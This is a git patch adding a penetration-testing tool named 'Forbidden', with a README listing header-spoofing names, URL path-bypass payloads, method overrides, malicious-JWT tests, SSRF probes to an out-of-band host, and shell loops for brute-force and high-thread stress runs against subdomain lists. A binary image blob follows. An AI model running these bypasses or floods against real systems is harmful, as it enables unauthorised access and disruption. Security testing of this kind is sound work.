From a7b28f6badaa7e98c86c26eaa829566d1c097462 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ivan=20=C5=A0incek?= <35937483+ivan-sincek@users.noreply.github.com> Date: Fri, 8 Mar 2024 15:20:15 +0100 Subject: [PATCH] Initial Commit --- .gitattributes | 2 + .gitignore | 152 +++ LICENSE | 21 + MANIFEST.in | 4 + README.md | 548 ++++++++++ img/basic_example.png | Bin 0 -> 156556 bytes pyproject.toml | 30 + src/__init__.py | 0 src/forbidden/__init__.py | 0 src/forbidden/forbidden.py | 1799 +++++++++++++++++++++++++++++++++ src/forbidden/user_agents.txt | 96 ++ src/stresser/__init__.py | 0 src/stresser/stresser.py | 975 ++++++++++++++++++ src/stresser/user_agents.txt | 96 ++ 14 files changed, 3723 insertions(+) create mode 100644 .gitattributes create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 MANIFEST.in create mode 100644 README.md create mode 100644 img/basic_example.png create mode 100644 pyproject.toml create mode 100644 src/__init__.py create mode 100644 src/forbidden/__init__.py create mode 100644 src/forbidden/forbidden.py create mode 100644 src/forbidden/user_agents.txt create mode 100644 src/stresser/__init__.py create mode 100644 src/stresser/stresser.py create mode 100644 src/stresser/user_agents.txt diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d9005f2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,152 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintainted in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..3f3642b --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ivan Šincek + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/MANIFEST.in b/MANIFEST.in new file mode 100644 index 0000000..d2eeee4 --- /dev/null +++ b/MANIFEST.in @@ -0,0 +1,4 @@ +include src/forbidden/*.py +include src/forbidden/*.txt +include src/stresser/*.py +include src/stresser/*.txt diff --git a/README.md b/README.md new file mode 100644 index 0000000..82397f0 --- /dev/null +++ b/README.md @@ -0,0 +1,548 @@ +# Forbidden + +Bypass 4xx HTTP response status codes and more. Based on PycURL and Python Requests. + +Script uses multithreading and is based on brute forcing, and as such, might have false positive results. Script has colored output. + +Results will be sorted by HTTP response status code ascending, HTTP response content length descending, and ID ascending. + +To manually filter out false positive results, for each unique HTTP response content length, run the provided cURL command and check if the HTTP response results in bypass; if not, simply ignore all the results with the same HTTP response content length. + +| Test Description | Test | +| --- | --- | +| HTTP and HTTPS requests on both, domain name and IP. | base | +| HTTP methods + w/ `Content-Length: 0` HTTP request header. | methods | +| Cross-site tracing (XST) w/ HTTP TRACE and TRACK methods. | methods | +| \[Text\] file upload w/ HTTP PUT method on all URL directories. | methods | +| HTTP method overrides w/ HTTP request headers and URL query string params. | method-overrides | +| URL scheme overrides. | scheme-overrides | +| Port overrides. | port-overrides | +| Information disclosure w/ `Accept` HTTP request header. | headers | +| HTTP request headers. | headers | +| URL override + w/ accessible URL. | headers | +| HTTP host override w/ double `Host` HTTP request headers. | headers | +| URL path bypasses. | paths | +| URL transformations and encodings. | encodings | +| Basic and bearer auth + w/ null session and malicious JWTs. | auths | +| Open redirects, OOB, and SSRF. | redirects | +| Broken URL parsers, OOB, and SSRF. | parsers | + +--- + +Check the stress testing script [here](https://github.com/ivan-sincek/forbidden/blob/main/src/stresser/stresser.py). Inspired by this [write-up](https://amineaboud.medium.com/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125). + +Extend the scripts to your liking. + +Good sources of HTTP headers: + +* [developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) +* [developers.cloudflare.com/fundamentals/reference/http-request-headers](https://developers.cloudflare.com/fundamentals/reference/http-request-headers) +* [udger.com/resources/http-request-headers](https://udger.com/resources/http-request-headers) +* [webconcepts.info/concepts/http-header](https://webconcepts.info/concepts/http-header) +* [webtechsurvey.com/common-response-headers](https://webtechsurvey.com/common-response-headers) + +Tested on Kali Linux v2023.4 (64-bit). + +Made for educational purposes. I hope it will help! + +--- + +**Remarks:** + +* Python Requests seems to be up to 3x faster than PycURL, but PycURL more customizable, +* beware of `rate limiting` and other similar anti-bot protections, take some time before you run the script again on the same domain, +* connection and read timeout is set to `60` seconds, +* `length` attribute in results includes only HTTP response body length, +* testing `double headers` is locked to `Python Requests` because cURL does not support it, +* testing `encodings` is locked to `cURL` because Python Requests does not support it, +* some web proxies might normalize URLs (e.g. when testing `encodings`), +* some web proxies might modify HTTP requests or drop them entirely, +* some websites might require a valid or very specific `User-Agent` HTTP request header, +* cross-site tracing (XST) is `no longer` considered to be a vulnerability. + +**High priority plans:** + +* use brute forcing to find allowed HTTP methods if HTTP OPTIONS method is not allowed, +* test HTTP cookies, `User-Agent` HTTP request header, CRLF, and Log4j, +* add more path bypasses. + +**Low priority plans:** + +* table output to make results more readable and take less screen space, +* add option to test custom HTTP header-value pairs for a list of domains/subdomains. + +## Table of Contents + +* [How to Install](#how-to-install) + * [Install PycURL](#install-pycurl) + * [Standard Install](#standard-install) + * [Build and Install From the Source](#build-and-install-from-the-source) +* [Automation](#automation) +* [HTTP Methods](#http-methods) +* [HTTP Request Headers](#http-request-headers) +* [URL Paths](#url-paths) +* [Results Format](#results-format) +* [Usage](#usage) +* [Images](#images) + +## How to Install + +### Install PycURL + +On Kali Linux, there should be no issues; otherwise, run: + +```bash +apt-get -y install libcurl4-gnutls-dev librtmp-dev + +pip3 install --upgrade pycurl +``` + +--- + +On Windows OS, download and install PycURL from [www.lfd.uci.edu/~gohlke](https://www.lfd.uci.edu/~gohlke/pythonlibs/#pycurl). Tested only on Windows 10. + +--- + +On macOS, run: + +```bash +brew uninstall curl +brew uninstall openssl + +brew install curl +brew install openssl + +echo 'export PATH="/opt/homebrew/opt/curl/bin:$PATH"' >> ~/.zshrc +echo 'export PATH="/opt/homebrew/opt/openssl@3/bin:$PATH"' >> ~/.zshrc +source ~/.zshrc + +export LDFLAGS="-L/opt/homebrew/opt/curl/lib" +export CPPFLAGS="-I/opt/homebrew/opt/curl/include" +export PYCURL_SSL_LIBRARY=openssl + +pip3 install --no-cache-dir --compile --ignore-installed --config-setting="--with-openssl=" --config-setting="--openssl-dir=/opt/homebrew/opt/openssl@3" pycurl +``` + +### Standard Install + +```bash +pip3 install --upgrade forbidden +``` + +### Build and Install From the Source + +```bash +git clone https://github.com/ivan-sincek/forbidden && cd forbidden + +python3 -m pip install --upgrade build + +python3 -m build + +python3 -m pip install dist/forbidden-10.8-py3-none-any.whl +``` + +## Automation + +Bypass `403 Forbidden` HTTP response status code: + +```bash +count=0; for subdomain in $(cat subdomains_403.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t base,methods,method-overrides,scheme-overrides,port-overrides,headers,paths,encodings -f GET -l base,path -o "forbidden_403_results_${count}.json"; done +``` + +Bypass `403 Forbidden` HTTP response status code with stress testing: + +```bash +mkdir stresser_403_results + +count=0; for subdomain in $(cat subdomains_403.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; stresser -u "${subdomain}" -dir stresser_403_results -ic -r 1000 -th 200 -f GET -l base -o "stresser_403_results_${count}.json"; done +``` + +Bypass `401 Unauthorized` HTTP response status code: + +```bash +count=0; for subdomain in $(cat subdomains_401.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t auths -f GET -l base -o "forbidden_401_results_${count}.json"; done +``` + +Test open redirects, OOB, and SSRF: + +```bash +count=0; for subdomain in $(cat subdomains_live_long.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t redirects -f GET -l base -e xyz.interact.sh -o "forbidden_redirect_results_${count}.json"; done +``` + +Test broken URL parsers, OOB, and SSRF: + +```bash +count=0; for subdomain in $(cat subdomains_live_long.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t parsers -f GET -l base -e xyz.interact.sh -o "forbidden_parser_results_${count}.json"; done +``` + +# HTTP Methods + +```fundamental +ACL +ARBITRARY +BASELINE-CONTROL +BIND +CHECKIN +CHECKOUT +CONNECT +COPY +GET +HEAD +INDEX +LABEL +LINK +LOCK +MERGE +MKACTIVITY +MKCALENDAR +MKCOL +MKREDIRECTREF +MKWORKSPACE +MOVE +OPTIONS +ORDERPATCH +PATCH +POST +PRI +PROPFIND +PROPPATCH +PUT +REBIND +REPORT +SEARCH +SHOWMETHOD +SPACEJUMP +TEXTSEARCH +TRACE +TRACK +UNBIND +UNCHECKOUT +UNLINK +UNLOCK +UPDATE +UPDATEREDIRECTREF +VERSION-CONTROL +``` + +# HTTP Request Headers + +Method overrides: + +```fundamental +X-HTTP-Method +X-HTTP-Method-Override +X-Method-Override +``` + +Scheme overrides: + +```fundamental +X-Forwarded-Proto +X-Forwarded-Protocol +X-Forwarded-Scheme +X-Scheme +X-URL-Scheme +``` + +Port overrides: + +```fundamental +X-Forwarded-Port +``` + +Other: + +```fundamental +19-Profile +Base-URL +CF-Connecting-IP +Client-IP +Cluster-Client-IP +Destination +Forwarded +Forwarded-For +Forwarded-For-IP +From +Host +Incap-Client-IP +Origin +Profile +Proxy +Redirect +Referer +Remote-Addr +Request-URI +True-Client-IP +URI +URL +WAP-Profile +X-Client-IP +X-Cluster-Client-IP +X-Custom-IP-Authorization +X-Forwarded +X-Forwarded-By +X-Forwarded-For +X-Forwarded-For-Original +X-Forwarded-Host +X-Forwarded-Path +X-Forwarded-Server +X-HTTP-DestinationURL +X-HTTP-Host-Override +X-Host +X-Host-Override +X-Original-Forwarded-For +X-Original-Remote-Addr +X-Original-URL +X-Originally-Forwarded-For +X-Originating-IP +X-Override-URL +X-Proxy-Host +X-Proxy-URL +X-ProxyUser-IP +X-Real-IP +X-Referer +X-Remote-Addr +X-Remote-IP +X-Requested-With +X-Rewrite-URL +X-Server-IP +X-True-Client-IP +X-True-IP +X-Wap-Profile +``` + +# URL Paths + +Inject at the beginning, end, and both, beginning and end of the URL path. All possible combinations. + +```fundamental +/ +// +%09 +%20 +%23 +%2e +* +. +.. +; +.; +..; +;foo=bar; +``` + +Inject at the end of the URL path. + +```fundamental +# +## +##random +* +** +**random +. +.. +..random +? +?? +??random +~ +~~ +~~random +``` + +Inject at the end of the URL path only if it does not end with forward slash. + +```fundamental +.asp +.aspx +.esp +.html +.jhtml +.json +.jsp +.jspa +.jspx +.php +.sht +.shtml +.xhtml +.xml +``` + +## Results Format + +```json +[ + { + "id": "860-HEADERS-3", + "url": "https://example.com:443/admin", + "method": "GET", + "headers": [ + "Host: 127.0.0.1" + ], + "body": null, + "user_agent": "Forbidden/10.8", + "command": "curl --connect-timeout 60 -m 60 -iskL --max-redirs 10 --path-as-is -A 'Forbidden/10.8' -H 'Host: 127.0.0.1' -X 'GET' 'https://example.com:443/admin'", + "code": 200, + "length": 255408 + }, + { + "id": "861-HEADERS-3", + "url": "https://example.com:443/admin", + "method": "GET", + "headers": [ + "Host: 127.0.0.1:443" + ], + "body": null, + "user_agent": "Forbidden/10.8", + "command": "curl --connect-timeout 60 -m 60 -iskL --max-redirs 10 --path-as-is -A 'Forbidden/10.8' -H 'Host: 127.0.0.1:443' -X 'GET' 'https://example.com:443/admin'", + "code": 200, + "length": 255408 + } +] +``` + +## Usage + +```fundamental +Forbidden v10.8 ( github.com/ivan-sincek/forbidden ) + +Usage: forbidden -u url -t tests [-f force] [-v values ] [-p path ] [-o out ] +Example: forbidden -u https://example.com/admin -t all [-f POST ] [-v values.txt] [-p /home] [-o results.json] + +DESCRIPTION + Bypass 4xx HTTP response status codes and more +URL + Inaccessible URL + -u, --url = https://example.com/admin | etc. +IGNORE QUERY STRING AND FRAGMENT + Ignore URL query string and fragment + -iqsf, --ignore-query-string-and-fragment +IGNORE CURL + Use Python Requests instead of PycURL where applicable + -ic, --ignore-curl +TESTS + Tests to run + Use comma-separated values + -t, --tests = base | methods | [method|scheme|port]-overrides | headers | paths | encodings | auths | redirects | parsers | all +FORCE + Force an HTTP method for all non-specific test cases + -f, --force = GET | POST | CUSTOM | etc. +VALUES + File with additional HTTP request header values such as internal IPs, etc. + Spacing will be stripped, empty lines ignored, and duplicates removed + Tests: headers + -v, --values = values.txt | etc. +PATH + Accessible URL path to test URL overrides + Tests: headers + Default: /robots.txt | /index.html | /sitemap.xml | /README.txt + -p, --path = /home | etc. +EVIL + Evil URL to test URL overrides + Tests: headers | redirects + Default: https://github.com + -e, --evil = https://xyz.interact.sh | https://xyz.burpcollaborator.net | etc. +IGNORE + Filter out 200 OK false positive results with RegEx + Spacing will be stripped + -i, --ignore = Inaccessible | "Access Denied" | etc. +CONTENT LENGTHS + Filter out 200 OK false positive results by HTTP response content lengths + Specify 'base' to ignore content length of the base HTTP response + Specify 'path' to ignore content length of the accessible URL response + Use comma-separated values + -l, --content-lengths = 12 | base | path | etc. +REQUEST TIMEOUT + Request timeout + Default: 60 + -rt, --request-timeout = 30 | etc. +THREADS + Number of parallel threads to run + More threads make it run faster but also might return more false positive results + Greatly impacted by internet connectivity speed and server capacity + Default: 5 + -th, --threads = 20 | etc. +SLEEP + Sleep in milliseconds before sending an HTTP request + Intended for a single-thread use + -s, --sleep = 500 | etc. +USER AGENT + User agent to use + Default: Forbidden/10.8 + -a, --user-agent = curl/3.30.1 | random[-all] | etc. +PROXY + Web proxy to use + -x, --proxy = http://127.0.0.1:8080 | etc. +OUT + Output file + -o, --out = results.json | etc. +DEBUG + Debug output + -dbg, --debug +``` + +```fundamental +Stresser v10.8 ( github.com/ivan-sincek/forbidden ) + +Usage: stresser -u url -dir directory -r repeat -th threads [-f force] [-o out ] +Example: stresser -u https://example.com/secret -dir results -r 1000 -th 200 [-f GET ] [-o results.json] + +DESCRIPTION + Bypass 4xx HTTP response status codes with stress testing +URL + Inaccessible URL + -u, --url = https://example.com/secret | etc. +IGNORE QUERY STRING AND FRAGMENT + Ignore URL query string and fragment + -iqsf, --ignore-query-string-and-fragment +IGNORE CURL + Use Python Requests instead of PycURL where applicable + -ic, --ignore-curl +FORCE + Force an HTTP method for all non-specific test cases + -f, --force = GET | POST | CUSTOM | etc. +IGNORE + Filter out 200 OK false positive results with RegEx + Spacing will be stripped + -i, --ignore = Inaccessible | "Access Denied" | etc. +CONTENT LENGTHS + Filter out 200 OK false positive results by HTTP response content lengths + Specify 'base' to ignore content length of the base HTTP response + Use comma-separated values + -l, --content-lengths = 12 | base | etc. +REQUEST TIMEOUT + Request timeout + Default: 60 + -rt, --request-timeout = 30 | etc. +REPEAT + Number of total HTTP requests to send for each test case + -r, --repeat = 1000 | etc. +THREADS + Number of parallel threads to run + -th, --threads = 20 | etc. +USER AGENT + User agent to use + Default: Stresser/10.8 + -a, --user-agent = curl/3.30.1 | random[-all] | etc. +PROXY + Web proxy to use + -x, --proxy = http://127.0.0.1:8080 | etc. +OUT + Output file + -o, --out = results.json | etc. +DIRECTORY + Output directory + All valid and unique HTTP responses will be saved in this directory + -dir, --directory = results | etc. +DEBUG + Debug output + -dbg, --debug +``` + +## Images + +

Basic Example

+ +

Figure 1 - Basic Example

diff --git a/img/basic_example.png b/img/basic_example.png new file mode 100644 index 0000000000000000000000000000000000000000..c76f1437af588db10c3dcd43c3a9d4d2f02d8603 GIT binary patch literal 156556 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 